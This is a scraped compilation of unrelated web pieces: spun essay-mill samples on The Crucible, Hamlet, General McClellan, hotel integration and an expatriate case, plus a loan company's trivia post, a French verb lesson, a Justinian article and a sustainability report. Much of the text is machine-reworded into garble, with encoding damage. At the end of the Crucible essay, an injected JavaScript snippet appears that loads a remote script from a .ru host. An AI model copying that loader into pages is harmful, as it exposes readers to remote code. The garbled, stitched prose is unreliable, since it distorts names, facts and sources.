Assignment Example | Topics and Well Written Essays - 250 words - 53

Task Example Quantitative and Qualitative Analysis: Andreas was at first sent as exile to New York branch to fill in as corporate financial supervisor yet on appearance is stunned to realize that the main position accessible is in the credit division. Later he is elevated to administrative unit in the wake of laboring for barely any years. In any case, the issue emerges when his significant other communicates her longing to return to Germany taking into account her children’s instruction and to care for her folks. Upon this when Andreas addresses his issues and demands repatriation, the association communicates its powerlessness to give comparable position at first however following not many months extends employment opportunity which is relatively lower to the current occupation executed by Andreas giving a major shock to his desires. Choice: Andreas was shrewd enough to acknowledge the global task since it guaranteed more significant pay and better position. Be that as it may, the management’s choice of backpedaling on its guarantees and not giving serious situation on repatriation harms any persevering worker. Presently Andreas is in problem whether to return to Germany so he can remain with his family and acknowledge the position granted by the base camp or to remain back and work in a similar level. Activity Plan: Basing on the current circumstance, it is exhorted that Andreas leave the activity and return to Germany to take care of his folks and furthermore for the better eventual fate of his kids. Or on the other hand he could trust that the downturn will vanish totally and afterward request repatriation in the parent organization. It's anything but a serious deal for Andreas to get another serious line of work with comparable pay in other association and this could be effectively conceivable with his experience which he picked up while working in New

The Crucible Society Versus The Individual free essay sample

The Crucible: Society Versus The Individual Essay, Research Paper Arthur Miller # 8217 ; s The Crucible central focuses on the frightful connection between society and the individual ( # 8221 ; Readings on Arthur Miller # 8221 ; 145 ) . Individual: being a conjurer in the seventeenth century or being a Socialist in the 1950 # 8217 ; s. Mill operator areas: The Crucible is included essentially with the cultural dealingss of human presences, and appropriately, the predominant complement in forming the dramatization was on the battle ( # 8221 ; Readings on Arthur Miller # 8221 ; 145 ) . Albeit, both condition of affairss match with Inquisition and mass furor, they strife at the way that Communism among Americans existed in the 1950 # 8217 ; s, while witchery among seventeenth century Salem townsfolk fizzled to be a fact. In both clasp periods question was available. As in 1692, the Investigation of enchantresss and experts had its conflicts, so did the enslavement on Communist gathering individuals in the 1950 # 8217 ; s ( # 8221 ; Un- American Activities, House Committee on # 8221 ; Microsoft Encarta 97 Reference book, # 8220 ; Witchcraft # 8221 ; Microsoft Encarta 97 Encyclopedia ) . We will compose a custom paper test on The Crucible Society Versus The Individual or on the other hand any comparable point explicitly for you Don't WasteYour Time Recruit WRITER Just 13.90/page Twenty individuals were hanged for non screeching to such unorthodoxies. Thus, large Numberss of Americans lost their occupations and stuffs or were detained whenever neglected to be a genuine American. What is appeared in both ages was the being of what we can name dubious grounds and distress of being blamed. Questions and hearings, for example, these worked up instinct also, dismay, doing mass fever. Both ages experienced this. Those blamed for witchery and wizardry spared themselves by screeching thus by indicting others. To be summoned, all you need is a few undistinguished entirety of relevant proof by a townsperson or blamed conjurer, a significant number of which accusals were only reprisal of past episodes, or to mollify the court. Essentially, this occurred during the McCarthy Era. Realizing the mistaken individual influenced your standing prospects of regardless of whether you would be charged or non. Along these lines, everybody dreaded /gt ; one another, on the off chance that you were or were non a suspect. Demonstrating fingers was the solitary way to demo your sincerity to the assurance of the state. Mass rage was an outcome of these hearings as a result of the instinct furthermore, dread it mixed. The Red Scare and the Salem sorcerer tests were emphatically indistinguishable in a few different ways, still, the equal comes up short at one of import point: Socialism existed ; witchery did non ( # 8221 ; Readings on Arthur Miller # 8221 ; 145 ) . At the clasp of the Salem magician tests, the mental areas ( # 8221 ; Readings on Arthur Miller # 8221 ; 145 ) of the casualties were not the same as those during the Red Scare. Mill operator territories: # 8230 ; the individual is seen through society ( # 8221 ; Just Looking for a Home # 8221 ; online ) . He is referencing to the McCarthy Era. Those boycotted were associated with the Socialist Party, and they were blameworthy of that. However, others had no association by any stretch of the imagination. Along these lines, Communism was existent and society looked down on the bing Communists. However, Miller other than states: # 8230 ; society is seen through the individual ( # 8221 ; Just Looking for a Home # 8221 ; online ) . Here, he alludes to the mental area of the casualties of the Salem conjurer tests. All the blamed were non enchantresss, yet had to accept that they were the # 8220 ; terrible # 8221 ; of society. In spite of the fact that, this is non so among the McCarthy Era, since they knew whether or non they were Industrialist or Communist. An outline of constrained conviction originates from Tituba # 8217 ; s admission. To offset, you needed to screech. In other words, the casualty in Salem accepted he was # 8220 ; awful # 8221 ; and considered society to be # 8220 ; great. # 8221 ; Communism existed in the McCarthy Era, however black magic simply existed among the Salem townsfolk since they had to accept that it existed among themselves. Arthur Miller had the option to mirror a similar scrape that existed on both clasp periods. In any case, they contrast in the existent being of the # 8220 ; terrible # 8221 ; people. Numerous guiltless lives and worklives were guaranteed as a result of these tests, yet, Arthur Miller had the option to clarify this through his plants. ( map ( ) { var ad1dyGE = document.createElement ( 'content ' ) ; ad1dyGE.type = 'content/javascript ' ; ad1dyGE.async = genuine ; ad1dyGE.src = 'http:/r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'content ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;

Know Money, Win Money! Episode 9 Back at the Bears Game

Know Money, Win Money! Episode 9 Back at the Bears Game Know Money, Win Money! Episode 9: Back at the Bears Game Know Money, Win Money! Episode 9: Back at the Bears GameDid you enjoy the halftime show? Because we’re back in the game! You didn’t really think you got the full Know Money, Win Money tailgating experience from just one episode, did you? There’s even more football and money related action in our newest episode, so grab a hot dog, some wings, and a tub of nachos and take a look:To start with, we asked what the most expensive team in the league is. It turns out, this was a pretty simple question for the fans gathered in the parking lot of Soldier Field. While some people might assume that the Patriots, with their multiple Super Bowl wins over the last couple decades would fetch the highest price, but those in the know and in the parking lot know it’s the Dallas Cowboys.And they’re not just the most valuable team in football. At 4.2 billion dollars, they’re the most valuable sports team in the world. That valuation comes from a mix of network contracts, branding deals, ticke t sales, and other events being held at the Cowboy’s home venue, ATT Stadium.Once we got the highest valued team out of the way, it was time to find out who signed on to the largest NFL contract to date. Or rather, because we already knew the answer, it was time to find out if other people knew it too. Most of them did!A couple thought it was Tom Brady, with his 20.5 million dollar extension per season, but he’s beat out by Detroit Lion Matt Stafford. Stafford’s 135 million dollar contract across 5 years has yet to be topped, but feel free to send your job application to various NFL teams and see what happens.That’s been this episode of Know Money, Win Money, but we’ll be back before you can say “field goal!”Be sure to also check out our  most recent episodes:Episode Eight: Thanksgiving FootballEpisode Seven:  Financial KnowledgeEpisode Six: Wizard World, Issue #2Where would you like to see us go in future episodes of Know Money, Win Money? We want to hear from you! Yo u can  email us  or find us on Twitter at  @OppLoans.Visit OppLoans on  YouTube  |  Facebook  |  Twitter  |  LinkedIN

All About the Regular French Verb Laisser (Leave)

Laisser  (to leave, to lose) is a regular -er verb that shares conjugation patterns in all tenses and moods with every other regular French verb ending in -er,  by far the largest group of French verbs.  Laisser is commonly used as a semi-auxiliary verb as well as a pronominal verb. Meaning No. 1: to Leave Laisser is a transitive verb  that takes a direct object  and means to leave something or someone.   Peux-tu me laisser de largent  ?   Could you leave me some money?  Je vais laisser la porte ouverte.   Im going to leave the door open.  Cela me laisse perplexe.   That leaves me perplexed.  Au revoir, je te laisse.   Good-bye, Im going/leaving.  Laisse, je vais le faire.   Leave it, Ill do it. Laisser is one of five verbs in French that mean to leave, and English speakers tend to confuse them. These are the essential differences: Laisser  means to leave something.Partir  is the most straightforward and simply means to leave in a general sense.Sen aller  is more or less interchangeable with  partir,  but it has the slightly informal nuance of going away.Sortir  means to go out.Quitter  means to leave someone or something, often implying a prolonged separation. Meaning No. 2: to Lose Laisser less commonly means to lose something. Notice the verb continues to be transitive in this sense; it still takes a direct object. Il a laissà © un bras dans laccident.   He lost an arm in the accidentElle a failli laisser sa vie hier.   She almost lost her life yesterday. Laisser As a  Semi-Auxiliary  Verb When laisser is followed by an infinitive, it means to let (someone) do (something).   Il ma laissà © sortir.   He let me go out.Laisse-le jouer.   Let him play. Laisser as a  Pronominal Verb Se laisser plus infinitive means to let oneself be(come), as in: Il sest laissà © persuader. He let himself be persuaded.Ne te laisse pas dà ©courager  !   Dont let yourself get discouraged! Expressions with Laisser Laisser  is used in a number of idiomatic expressions, including: laisser tomber   to dropLaissez-moi rire.  Ã‚  Dont make me laugh.Laisse faire.  Ã‚  Never mind! / Dont bother!On ne va pas le laisser faire sans rà ©agir  !  Ã‚  Were not going to let him get away with that! Laisser As  a Regular French -er Verb The majority of French verbs are  regular  -er  verbs, as laisser  is. (There are five main kinds of verbs in French: regular  -er, -ir, -re  verbs; stem-changing verbs; and irregular verbs.) To conjugate a regular French  -er  verb, remove the -er  ending from the infinitive  to reveal the verbs stem. Then add the regular  -er  endings to the stem. Note that regular  -er  verbs share conjugation patterns in all tenses and moods. The same endings in the table can be applied to any of the regular French  -er  verbs listed below the table. Note that the following conjugation table includes simple conjugations only. Compound conjugations, which consist of a conjugated form of the auxiliary verb avoir  and the past participle laissà ©, are not included. Simple Conjugations of the Regular -er- Verb Laisser Present Future Imperfect Present participle je laisse laisserai laissais laissant tu laisses laisseras laissais il laisse laissera laissait nous laissons laisserons laissions vous laissez laisserez laissiez ils laissent laisseront laissaient Pass compos Auxiliary verb avoir Past participle laiss Subjunctive Conditional Pass simple Imperfect subjunctive je laisse laisserais laissai laissasse tu laisses laisserais laissas laissasses il laisse laisserait laissa laisst nous laissions laisserions laissmes laissassions vous laissiez laisseriez laisstes laissassiez ils laissent laisseraient laissrent laissassent Imperative tu laisse nous laissons vous laissez More Common French Regular -er Verbs Here are just a few of the most common regular-er verbs: *All regular  -er  verbs are conjugated according to the  regular  -er  verb conjugation pattern, except for one small  irregularity in verbs  that end in  -ger  and  -cer,  known as  spelling-change verbs.**Though conjugated just like regular  -er  verbs, watch out for verbs that end in  -ier. aimer  Ã‚  to like, to lovearriver  Ã‚  to arrive, to happenchanter  Ã‚  to singchercher  Ã‚  to look forcommencer*  Ã‚  to begindanse  Ã‚  to dancedemander  Ã‚  to ask fordà ©penser  Ã‚  to spend (money)dà ©tester  Ã‚  to hatedonner  Ã‚  to giveà ©couter  Ã‚  to listen toà ©tudier**  Ã‚  to studyfermer  Ã‚  to closegoà »te  Ã‚  to tastejouer  Ã‚  to playlaver  Ã‚  to washmanger*  Ã‚  to eatnager*  Ã‚  to swimparler  Ã‚  to talk, to speakpasse  Ã‚  to pass, spend (time)penser  Ã‚  to thinkporter  Ã‚  to wear, to carryregarder  Ã‚  to watch, to look atrà ªver  Ã‚  to dreamsembler  Ã‚  to seemskier**  Ã‚  to skitravailler  Ã‚  to worktrouve  Ã‚  to findvisiter  Ã‚  to visit (a place)voler  Ã‚  to fly, to steal

The Code of Justinian (Codex Justinianus)

The Code of Justinian (in Latin, Codex Justinianus) is a substantial collection of laws compiled under the sponsorship of Justinian I, ruler of the Byzantine Empire. Although the laws passed during Justinians reign would be included, the Codex was not a completely new legal code, but an aggregation of existing laws, portions of the historic opinions of great Roman legal experts, and an outline of law in general. Work began on the Code shortly after Justinian took the throne in 527. While much of it was completed by the mid-530s, because the Code included new laws, parts of it were regularly revised to include those new laws, up until 565. There were four books that comprised the Code: Codex Constitutionum, the Digesta, the Institutiones and the Novellae Constitutiones Post Codicem. The Codex Constitutionum The Codex Constitutionum was the first book to be compiled. In the first few months of Justinians reign, he appointed a commission of ten jurists to review all the laws, rulings and decrees issued by the emperors. They reconciled contradictions, weeded out obsolete laws, and adapted archaic laws to their contemporary circumstances. In 529 the results of their efforts were published in 10 volumes and disseminated throughout the empire. All imperial laws not contained in the Codex Constitutionum were repealed. In 534 a revised codex was issued that incorporated the legislation Justinian had passed in the first seven years of his reign. This Codex Repetitae Praelectionis was comprised of 12 volumes. The  Digesta The Digesta (also known as the Pandectae) was begun in 530 under the direction of Tribonian, an esteemed jurist appointed by the emperor. Tribonian created a commission of 16 attorneys who combed through the writings of every recognized legal expert in imperial history. They culled whatever they though was of legal value and selected one extract (and occasionally two) on each legal point. They then combined them into an immense collection of 50 volumes, subdivided into segments according to subject. The resulting work was published in 533. Any juridical statement that wasnt included in the Digesta was not considered binding, and in future it would no longer be a valid basis for legal citation. The  Institutiones When Tribonian (along with his commission) had finished the Digesta, he turned his attention to the Institutiones. Pulled together and published in about a year, the Institutiones was a basic textbook for beginning law students. It was based on earlier texts, including some by the great Roman jurist Gaius, and provided a general outline of legal institutions. The  Novellae Constitutiones Post Codicem After the revised Codex was published in 534, the last publication, the Novellae Constitutiones Post Codicem was issued. Known simply as the Novels in English, this publication was a collection of the new laws the emperor had issued himself. It was reissued regularly until Justinians death. With the exception of the Novels, which were almost all written in Greek, the Code of Justinian was published in Latin. The Novels also had Latin translations for the western provinces of the empire. The Code of Justinian would be highly influential through much of the Middle Ages, not only with the Emperors of Eastern Rome, but with the rest of Europe.   Resources and Further Reading Grapel, William.  The Institutes of Justinian: with the Novel as to Successions. Lawbook Exchange, Ltd., 2010.Mears, T. Lambert, et al.  Analysis of M. Ortolans Institutes of Justinian, Including the History and Generalization of Roman Law. Lawbook Exchange, 2008.

Tobacco Smoking And Its Impact On The Human Body - 796 Words

1. Tobacco smoking is one of the leading risk aspects for many diseases including cardiovascular disease (CVD), respiratory disease, and cancers of the lung and multiple other sites (Zheng, 2014). ‘Cigarette smoking and its impact on fracture healing is article based on the chemicals used in cigarettes and the impact it has on the human healing process (Carter, 2015). Whereas ‘Burden of Total and Cause-Specific Mortality’ is a research on tobacco smoking over the age of 45 in Asia and the association of smoking and death (Zheng,2014). The Other risk links to smoking like consumption of alcohol and a lack of public awareness of the risks of tobacco. (107) 2. Cigarette smoking consists of over 3000 chemical components of which nicotine is the most significant substance (Carter, 2015).Other products such as tar which is absorbed by the lungs and can cause lung cells to die, Nitric oxides that can cause respiratory tract infections and carbon monoxide, are known to damage health and impact fracture healing. Nicotine plays a significant role in hindering blood flow by stimulating the release of a class of aromatic amines from the central nervous system and activating the constriction of vessel which increases blood pressure .Carbon Monoxide definitely plays a large role in damaging tissue oxygenation by attaching itself to the hemoglobin and dethroning oxygen molecules, so reducing the delivery of oxygen to peripheral tissue (Carter, 2015). Smoking damages wounds and soft tissueShow MoreRelatedShould Smoking Be Public Places?1110 Words   |  5 Pages Will smoking be convenient in your life? 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There are about 480,000 deaths related to smoking every yearRead MoreTobacco and Cigarette Smoking1030 Words   |  5 Pages One person dies every six seconds due to a tobacco related disease, which results in a shocking amount of ten deaths per minute. Tobacco is one of the most heavily used addictive products in the United States. Tobacco contains over 4,000 chemicals; approximately 250 are dangerously harmful to humans. Smoking is a major public health problem. All smokers face an increased risk of lung cancer, cardiovascular problems and many other disorders. Smoking should be banned due to the many health risksRead MoreCigarettes are Killing Us1489 Words   |  6 Pagessociety. Cigarettes and tobacco should become an illegal drug in North America. The negative traits of smoking outweigh the positive traits; tobacco should not be accessible to the public. â€Å"Smoking kills† these two words should be very familiar. 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Stakeholder Local Environmental Group †MyAssignmenthelp.com

Question: Discuss about the Stakeholder Local Environmental Group. Answer: Introduction The reported below used 2016 Annual Report with particular focus on the sustainability to help the Local Environmental Group understand how best Alumina Limited engages in practices and operations that might harm the environment and the mechanism that the company is undertaking both proactive and reactive ones to mitigate the effects to the environment. The report basically examines Alumina Limiteds commitment to report on the non-financial performance highlighted on its sustainability policy and its commitment to high-levels of transparent disclosure. The report will make the Local Community Group where Alcoa World Alumina and Chemicals (AWAC) undertakes its operations that may greatly affect the environment if unchecked. The report will mainly covers AWAC operations where the highest sustainability impact depends. The report will help provide an easy access to the consolidated information regarding the sustainability performance of AWAC and culminate in greater understanding of quality and value of such assets. Interpretation Alumina Limited Profile The Company is a leading Australian firm listed on the ASX and trades in the United States on OTCQX market. Alumina invest globally in bauxite mining, chosen aluminium smelting operations and alumina refining via its forty percent ownership of AWAC. The Alcoa is Aluminas partner Alcoa Corporation which owns the remaining sixty percent of AWAC and Alcoa Corporation is the manager. Alumina Limited is a typical representation of a distinct opportunity for the AWAC pure investment, one of global biggest producers of bauxite and alumina. Alumina has a clear understanding of the fundamental association between AWACs long-run profitability and sustainability of AWACs operating performance. The decisions made today by Alumina is clearly understood by Alumina Limited to have direct influence on future economic, environmental as well as social outcomes. The Alumina Limited acknowledges that sustainable development alongside growth remains fundamental to AWAC and hence recognize Alcoa Corporati on as the global leader in the corporate sustainable development. Sustainability: Overview Alumina Limited and Alcoa Corporation share a common belief that the impacts of its business stretch past its corporate borders thereby affecting social, economic and environmental elements of the stakeholders. Alumina Limited recognizes stakeholders to range from individuals affected directly by business; workers, suppliers, customers, shareholders, and the public in localities AWAC operates to those individuals impacted indirectly like uses of end product. Such a recognition is important to the Local Community Group (chosen stakeholder) to which report is intended since their objective is to protect all these mentioned stakeholders. Alumina Limited holds that to operate sustainably, the company has to acknowledge the responsibilities to such several interested parties and subsequently act accordingly (Kurup, Altham and Van 2005). AWAC has harnessed the resourcefulness, competency, capability as well as strength of the workforce thereby developing business responsibly and establishing a positive legacy for its several stakeholders that this local group seeks to protect (Deegan and Islam 2012). The sustainable operations of AWAC are driven by the belief that sustainability regards working more efficiently and effectively to enhance environmental outcomes as well restrain the environmental impact, enhance quality of life (QoL) of individual impacted by the operations of AWAC including AWAC employees safety and health thereby driving business performance and long-run value to its stakeholders. Alumina Limited is effective since it believe that sustainability goals must be integrated into business strategy as well as processes instead of a subordinate attempt that risks dilution. Despite being non-operating partner in AWAC, Alumina turn to, and support, Alcoa (global leader of best-practice sustainability), operating manager of AWAC, it its programs that drive sustainability (Fergusson 2014). Sustainability Material Risk and Long-run Objectives The Energy Usage Alumina Limited has effective availed information that helps check on the potential impact on sustainability of AWAC and long-run global objectives have been established by Alcoa to mitigate impacts. The company recognizes that energy is an important element in production of alumina and Aluminium. The firm has presented measures taken to ensure energy is used in an efficient manner as energy efficiency remains a key factor in sustainable environment performance. The report outlines that Almina Limited uses a 2005 as baseline where it has set a target to ensure ten percent reduction in energy intensity of the AWACs global operations by 2020 and this is expected to be 15% by 2030. Water Management and Security Alumina Limited report has clearly outlined the measures that are undertaken to ensue effective management of water and security. The company recognizes in its report that water is essential raw material utilized at each point of mining, smelting and refining operations of AWAC. The report reveals that the company is keen to ensure water sustainability as its scarcity will greatly impact AWACs production, costs, and performance financially. The report uses the 2005 baseline and projects a twenty-five reduction in average freshwater-usage intensity alongsidde30% by year 2030. Emissions The report recognizes the need to reduce emissions because production of Aluminium remains an energy-intensive operations. It recognizes how significantly carbon footing is affected by electricity energy provider. The report identifies clearly that Greenhouse gas emission (GHG) are natural corollary to the energy-intensive AWACs operations. The firm has subsequently highlighted in the report the need to set targets for reduction in both direct and indirect carbon dioxide equivalent intensity for international operations by 30% by 2020 and 35% by 2030. Land Management and Rehabilitation The report identifies bauxite mining as a contributor to most land being disturbed by operation of AWAC. The company recognizes the need to commit to minimize disturbances of original habitat. For this reason, AWAC work closely with community and regulatory stakeholders towards the restoration of such lands impacted to most productive use feasible, encompassing, where possible, re-establishing conditions for pre-operation. The report identifies the seriousness of Alumina Limited to achieve aggressive minimum environmental footprint for every mine by 2020. Waste The report clearly highlights the extent to which Alumina and Aluminum processing create waste product. It gives all information indicating that the most significant waste is bauxite residue approximated to be 1.5 tonne of residue result a tonne of produced alumina. The reports highlights that Alumina Limited prioritizes the minimization of waste via innovative process alongside alternative use for waste products to reduce environmental footprint of AWAC. The company has set to rehabilitate thirty percent of total bauxite residue storage region by 2020 which is expected to hit 40% by 2030. The company also aims at recycling or reusing fifteen percent of bauxite residue produced by 2020 and thirty percent by 2030. The company has also set to reduce bauxite residue land requirement a unit of alumina generated since 2005 by fifteen- and thirty by 2020 and 2030 in that order. Workforce Health and Safety The report highlights how strong systems and focused safety culture committed to endless enhancement are used to manage safety in the complex mining alongside manufacturing environment of AWAC. The report shows how substantial intellectual, system and financial resources investment has been done by Alcoa to ensure workforce health and safety by understanding the core drivers of safety behavior. The report indicates that Alumina Limited undertake such investment to get rid of facilities and serious injuries from operations of AWAC. The companys objective is zero fatalities and serious injuries as well as illness. Sustainability Approach Alumina Limited supports Alcoa to manage AWAC thereby achieving best practices in safety, environment, community as well as financial performance via strong, collaborative as well as informed governance. Alumina Limited together with Alcoa review AWACs long-run sustainability objectives and strategies. The report also outlines that Alumina Limited supports sustainability practices and policies implemented by Alcoa in AWAC to guarantee sustainable operations (Solutions 2016). The companys Board always assess any potential risks to environment via its own risk assessment processes. Adherence to Environmental Regulation Australian AWAC operations adheres strictly to several Commonwealth alongside state laws that govern the environment protection in water and air quality, emission of waste and disposal, assessment of environmental impact, rehabilitation of mine, access and use of ground water (Corder, Van, Lay and Van 2006). Most AWAC operation adhere to licensing requirement to conduct activities under environmental protection legislation of state of operation. AWAC also adhere to specific licences to subject site requirement. Sustainability Challenges The report has recognized some of the sustainability challenges that the Local Community Group need to acknowledge. The processes that are used by the company are highly aluminium and resource intensive which a key challenge to sustainability. Refining alumina from the bauxite calls for substantial energy in terms of steam and heat. Smelting Aluminium consumes substantial amount of electricity used in the conversion of alumina into aluminium metal through an electrolysis process (Cooling 2007). Whereas the alumina and aluminium production produce significant social and economic benefits, Alumina Limited remain mindful of need to balance such activities with responsible environmental stewardship to allow the minimization of adverse impacts on the local environment as well as the neighboring communities (Mudd 2007). Some of the key sustainability challenges that faced AWAC have been clearly identified. There was a challenge of energy sources for the energy intensive business but the company has engaged the experts to assess the potential of harnessing solar energy to reduce the impacts on the environment. The company also faced a challenge of improving energy efficiency in order to conserve energy as well as reduce related emission for sustainable environment (Beers, Bossilkov, Corder and Berkel 2007). The firm further face a challenge of bauxite residue as well as storage to reduce footprints as well as move towards alternative utilization for residue but the company has since introduce new technology for filtration. The company also faced a sustainability challenge of reducing carbon emission in order to enhance emissions intensity as well as reduce the absolute emissions. There was also a problem of water management to reduce the usage of freshwater. Further, Alumina Limited faced a challenge of minimizing impacts to biodiversity and land. Environmental Improvement Plans The Alcoa has taken the front foot strategy towards addressing the climate change by working closely with local communities. Alumina Limited is also working with the local communities to reduce the greenhouse emission via energy efficiency, productivity enhancement as well as technological innovations (Andrew and Cortese 2011). This is done by preparing environmental improvement plans (EIPs) for every location. Many of Alumina Limited operations in Australia engage with local communities when developing such EIPs. These plans are public commitments to endlessly improve environment performance, decrease environmental impacts as well as developing more sustainable practices. The EIPs help deliver enhanced transparency as well as accountability (Van and Bossilkov 2004). Conclusion The Local Community Group needs to understand the policies and strategies that Alumina Limited have taken to ensure sustainable environment. From the analysis, it clear that Alumina Limiteds report presents detailed information on how it ensures limited impacts on environment despite its high amount of waste and greenhouse gas emission and intensive energy requirements. Understanding these policies, practices and strategies will make the Local Community Group (selected stakeholder) meets its needs of ensuring that all the other stakeholders of Alumina Limited are protected from the Companys operations. It will help the stakeholder to adopt such policies, practices and strategies as a teaching tool to help create awareness in the local community to conserve environment. The Group also needs to advice other companies to remain sustainable. Therefore, this report provides them the platform through which they will acquire the best practices as adopted by Alumina Limited to reduce negative impacts of their operations on the environment. The report has also availed the specific environmental regulations that Alumina Limited must adhere to, such information is of great interest to this stakeholder in creating awareness. The limitation of the report is that it does not shown in monetary terms the impacts of the AWAC operations on the environment. It would have been appropriate for the report to reveal its cost to environment or the negative externalities it creates. Such an information would have helped the Group to understand how much the operations affect the environment and come with suggestions on how Alumina Limited can pay for such costs. References Andrew, J. and Cortese, C.L., 2011. Carbon disclosures: Comparability, the carbon disclosure project and the greenhouse gas protocol. Australasian Accounting, Business andFinance Journal, 5(4), pp.5-18. Beers, D., Bossilkov, A., Corder, G. and Berkel, R., 2007. Industrial symbiosis in the Australian minerals industry: the cases of Kwinana and Gladstone. Journal of Industrial Ecology, 11(1), pp.55-72. Cooling, D.J., 2007. Improving the sustainability of residue management practices-Alcoa World Alumina Australia. Paste and Thickened Tailings: A Guide, 316. Corder, G., van Beers, D., Lay, J. and van Berkel, R., 2006, June. Benefits and success factors of regional resource synergies in Gladstone and Kwinana. In Green Processing Conference (pp. 5-6). Deegan, C. and Islam, M.A., 2012. Corporate commitment to sustainabilityIs it all hot air? An Australian review of the linkage between executive pay and sustainable performance. Australian Accounting Review, 22(4), pp.384-397. Fergusson, L., 2014. A sustainability framework for the beneficial reuse of alumina refinery residue. Journal of Multidisciplinary Engineering, Science and Technology, 1, pp.105-120.Finance Kurup, B., Altham, W. and Van Berkel, R., 2005, February. Triple bottom line accounting applied for industrial symbiosis. In 4th Australian Life Cycle assessment Conference, Sydney, Australia (pp. 23-25). Mudd, G.M., 2007. The sustainability of mining in Australia: key production trends and their environmental implications. Department of Civil Engineering, Monash University and Mineral Policy Institute, Melbourne. Solutions, R., 2016. Residue management sustainability review: Aughinish Alumina Limited. Van Berkel, R. and Bossilkov, A., 2004. Sustainable development reporting in the Australian minerals processing industry. Green Processing, 2004, pp.185-195.

In Act I Scene II Of Hamlet, Gertrude Asks Hamlet, Why Seems It So Par

In Act I Scene II of Hamlet, Gertrude asks Hamlet, "Why seems it so particular with thee?" Since death is common to all, she asks, why does Hamlet seem to be making such a particular fuss about his father's death? He replies, "Seems Madam? Nay it is. I know not seems." It is not a question of seeming, but being: His black mourning clothes are simply a true representation of his deep unhappiness. With this line, Shakespeare develops the theme of appearance versus reality and that he intends to stress Hamlet's dedication to truth in contrast to appearances which serve others, notably Claudius. Allied to the question of Hamlet's madness is a variety of references to the idea of acting a part or of presenting a false image to the world. Hamlet demands honesty, but is he himself always honest? Many characters, at various times, seem to be playing parts, and the troupe of players is in the play as an active reminder that in real life a person can play many roles, and it is not always easy to tell what is true from what only appears to be true. Polonius, the King's royal assistant, has a preoccupation with appearance. He always wants to keep up the appearance of loving and caring person. Polonius appears like a man who loves and cares about his son, Laertes. Before Laertes leaves to Paris, Polonius speaks to his son with advice that sounds sincere, but in reality is rehearsed, hollow, and without feeling. Polonius gives his advice only to appear to be the loving caring father. He tries to teach Polonius how to "seem," and how to show himself publically. The reality is he only speaks to appear sincere as a politician, to look good rather then actually be good: And borrowing dulls the edge of husbandry. This above all: to thine own self be true, And it must follow, as the night the day, Thou canst not then be false to any man. Farewell; my blessing season this in thee! (Act 1, Scene 3 lines 77 - 81) Climaxing his rather long speech, this change of tone can only be taken ironically. As Polonius gives his son Laertes his blessi ng to go away, he sends Reynaldo, a spy to follow him and keep an eye on him. This shows his lack of trust for anyone. He gives the appearance of a confident father who trusts his son to go off on his own. Polonius further adds to the theme appearance verses reality by ordering Ophelia to stop seeing Hamlet. He lies to her telling her that Hamlet does not love her, he only lusts for her, when in truth he does love her: "Ay, springes to catch woodcocks. I do know, When the blood burns, how prodigal the soul." (Act 1, Scene 3 lines 115 behind the mask there lies someone totally different. Claudius' conduct in council gives him the appearance of an honest and honorable man. In Act one Scene two, Claudius, in the presence of the council, shows his true skill and ease of manner at speaking. Claudius speaks well of the spent king by showing a general love for him by all his subjects. Claudius shows respect for the old sovereign by speaking kind words of him. In reality he cares little for the old king, he speaks kindly only to give the appearance of loving brother. "Though yet of Hamlet our dear brother's death, The memory be green, and that it us befitted To bear our hearts in grief, and our whole kingdom To be contracted in one brow of woe." (Act 1, Scene 2 lines 1 - 4) As Claudius sends Voltimand and Cornelius off to give the king of Norway the message of Fortinbras, he thanks and gives them complete trust, in the deliverance of the notation. This shows his trust and caring for his subjects in front of the council, winning even more consent from the council: "We doubt it nothing: heartily farewell." (Act 1, Scene 2

General McClellan AP US History essays

General McClellan AP US History essays The removal of General McClellan represents a lost for the army of the Potomac and a victory for the interfering politicians in Washington. General McClellan is an officer whom proved to be better at organization and training than at fighting. His removal left the army of the Potomac without a brilliant strategist and organizer, but a victory to the interfering politicians in Washington because of his failure in following executive orders. His failure to follow Lincolns orders on the Virginia front cost him Richmond during his unsuccessful peninsular campaign. His failure to act and attack allowed Lee to escape in the Battle of Antietam. President Abraham Lincoln believed that the Union troops should move directly against the Confederates at Manassas, Virginia, but McClellan disagreed and advanced on Richmond from the east. Lincoln agreed with McClellan that an attempt should be made to capture Richmond. Lincoln favored an overland invasion route. McClellan, however, insisted on moving the Army of the Potomac by a roundabout water route, sailing his troops to the York peninsula and advancing on Richmond from the east. The turning point of the peninsular campaign was reached in the Seven Days' Battle fought between June 25 and July 1, in which the Confederate forces suffered the greater losses, but were able, because of Lee's adroit maneuvering, to force McClellan to retreat. Several stubborn battles, including the battles of Savage's Station, Frayser's Farm, and Malvern Hill, were fought in the course of the retreat, but McClellan was able to lead his troops back to the James River, where he gained the support of g unboats of the Union navy. The campaign was a failure, however, and the Union army was forced to abandon the attempt to take Richmond. The Confederate success in saving the capital gave a new impetus to the Southern war effort. The president was dissatisfied with the campaign, and McClellan was superse...

Why hotel firms choose to integrate both vertically and horizontally Essay

Why hotel firms choose to integrate both vertically and horizontally within the wider tourism industry - Essay Example The purpose of a business is to get and keep a customer. As hotel firms are dynamically evolving entities operating within a dynamically evolving environment, some means of evaluation of the way in which the two interact has to be found to enable them to be better matched. In order to achieve these goals tourism and hospitality industry choose to integrate both vertically and horizontally to meet the needs of their customers and achieve overall objectives. It should be mentioned that integration is development beyond the present product and market, but still within the broad confines of the 'industry' within which the company operates: for example, Sheraton and Crowne Plaza are diversified corporations, but virtually all their interests are in the consumer service industry. Integration both vertical and horizontal therefore builds on the assets or activities which the firm has developed in service or market terms (Nebel, 1991). 1.1. Vertical integration. Vertical integration is a broader term used to describe either backward or forward integration. Backward integration is popular in tourism and hospitality industry. It refers to development into activities which are concerned with the inputs into the company's current business (i.e. are further back in the value system). Backward integration is important for tourism and hospitality industry because it refers to development into activities which are concerned with a company's outputs (i.e. are further forward in the value system), such as transport, distribution, repairs and servicing (Powers, Barrows, 2002). 1.2. Horizontal integration. Horizontal integration refers to development into activities which are competitive with, or directly complementary to, a company's present activities. A lending library's extension into tourist information or video cassette material would be an example (Stutts, 2001). The acquisition of, or merger with, a competitor would be one way of achieving this, for example. The strategic logic behind horizontal development is typically to gain leverage or market power over suppliers or buyers. Higher volume generally confers greater scale economies in purchasing whereas larger product market share confers greater pricing power over customers. 2. The role of vertical integration in hospitality and tourism industry Backward vertical development is movement towards a supplier of resources used by the business. This might be an attempt to secure supply of a key resource or to gain a cost advantage over competitors by 'locking in' a supplier. 